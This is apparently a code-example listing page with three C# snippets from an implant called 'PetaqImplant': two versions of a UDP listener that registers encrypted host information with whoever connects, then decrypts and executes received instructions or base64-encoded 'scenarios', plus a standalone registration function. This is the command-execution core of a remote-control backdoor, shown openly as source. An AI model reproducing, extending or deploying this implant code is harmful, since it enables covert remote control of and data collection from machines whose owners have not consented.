예제 #1
0
        public override void Start()
        {
            try
            {
                // Setting up the variables for listener
                ListenPort = int.Parse(Program.configuration["LISTENPORT"]);

                // Setting the service status
                Status = true;

                // Listener is configuring
                UDPService = new UdpClient(ListenPort);


                while (Status)
                {
                    //Console.Error.WriteLine("The EP is setting.");
                    IPEndPoint ep = new IPEndPoint(IPAddress.Any, ListenPort);

                    Console.Error.WriteLine("Waiting for linking... ");


                    // Read stream as string and process
                    while (Status)
                    {
                        // When data received, Endpoint gets updated
                        byte[] data = UDPService.Receive(ref ep);

                        // Copy the endpoint to the UDPClient to send data later
                        UDPClient = ep;

                        // Send registration info first when a socket established
                        if (!LinkStatus)
                        {
                            Console.Error.WriteLine("Registering the implant information.");
                            string registration_data = Common.Encrypt("register " + Convert.ToBase64String(Encoding.UTF8.GetBytes(Common.GetInfo())));
                            Send(registration_data);
                        }

                        // Set the link status as data received
                        LinkStatus = true;

                        ////Instruction received from the UDP client...
                        string instruction = Encoding.UTF8.GetString(data);
                        instruction = Common.Decrypt(instruction);

                        // If scenario is requested call scenario, otherwise run instructions
                        if (instruction.StartsWith("scenario"))
                        {
                            if (Regex.Split(instruction, " ").Length < 3)
                            {
                                // Set the socket as the Console output
                                Program.consoleIO = Console.Out;
                                Console.SetOut(new SocketWriter());
                                // Raise the error
                                Console.WriteLine("Usage: scenario file filepath");
                            }
                            else
                            {
                                // scenario instruction format:
                                // scenario file BASE64STRING
                                string scenario_b64 = Regex.Split(instruction, " ")[2];
                                // send the Base64 encoded scenario to run
                                PetaqImplant.Scenario.Run(scenario_b64);
                            }
                        }
                        else
                        {
                            // run the instruction received
                            PetaqImplant.Instructions.Instruct(instruction, new SocketWriter());
                        }
                    }
                }
            }
            catch (Exception e)
            {
                Console.Error.WriteLine("UDP Service Exception on Receive: " + e.Message);
                Status     = false;
                LinkStatus = false;
            }
            finally
            {
                Stop();
            }
        }
예제 #2
0
        public override void Start()
        {
            try
            {
                // Setting up the variables for listener
                ListenPort = int.Parse(Program.configuration["LISTENPORT"]);

                // Setting the service status
                Status = true;

                // Listener is configuring
                UDPService = new UdpClient(ListenPort);


                while (Status)
                {
                    //Console.Error.WriteLine("The EP is setting.");
                    IPEndPoint ep = new IPEndPoint(IPAddress.Any, ListenPort);

                    Console.Error.WriteLine("Waiting for linking... ");


                    // Read stream as string and process
                    while (Status)
                    {
                        // When data received, Endpoint gets updated
                        byte[] data = UDPService.Receive(ref ep);

                        // Copy the endpoint to the UDPClient to send data later
                        UDPClient = ep;

                        // Send registration info first when a socket established
                        if (!LinkStatus)
                        {
                            Console.Error.WriteLine("Registering the implant information.");
                            string registration_data = Common.Encrypt("register " + Convert.ToBase64String(Encoding.UTF8.GetBytes(Common.GetInfo())));
                            Send(registration_data);
                        }

                        // Set the link status as data received
                        LinkStatus = true;

                        ////Instruction received from the UDP client...
                        string instruction = Encoding.UTF8.GetString(data);
                        instruction = Common.Decrypt(instruction);

                        ////Instruction is processing...
                        Instructions.Instruct(instruction);
                    }
                }
            }
            catch (Exception e)
            {
                Console.Error.WriteLine("UDP Service Exception on Receive: " + e.Message);
                Status     = false;
                LinkStatus = false;
            }
            finally
            {
                Stop();
            }
        }
예제 #3
0
        public static void Register()
        {
            Console.WriteLine("Registering the implant information.");
            string registration_data = Common.Encrypt("register " + Convert.ToBase64String(Encoding.UTF8.GetBytes(Common.GetInfo())));

            LinkService.Send(registration_data);
        }